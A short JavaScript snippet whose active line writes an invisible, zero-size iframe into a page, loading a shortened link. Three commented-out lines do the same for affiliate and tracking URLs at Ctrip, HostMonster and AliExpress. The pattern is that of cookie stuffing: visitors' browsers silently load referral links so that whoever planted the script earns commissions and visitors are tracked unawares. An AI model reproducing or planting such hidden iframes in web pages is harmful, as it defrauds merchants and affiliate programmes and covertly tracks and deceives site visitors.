document.write('<iframe src="//curl.qcloud.com/2txyNav0" style="width:0;height:0;border:0; border:none;"></iframe>'); 
//document.write('<iframe src="//www.ctrip.com/?AllianceID=1103084&sid=2489454&ouid=&app=0101F00" style="width:0;height:0;border:0; border:none;"></iframe>');
//document.write('<iframe src="https://www.hostmonster.com/track/xnyyhpz0oj/" style="width:0;height:0;border:0; border:none;"></iframe>');
//document.write('<iframe src="//s.click.aliexpress.com/e/BC961uk" style="width:0;height:0;border:0; border:none;"></iframe>');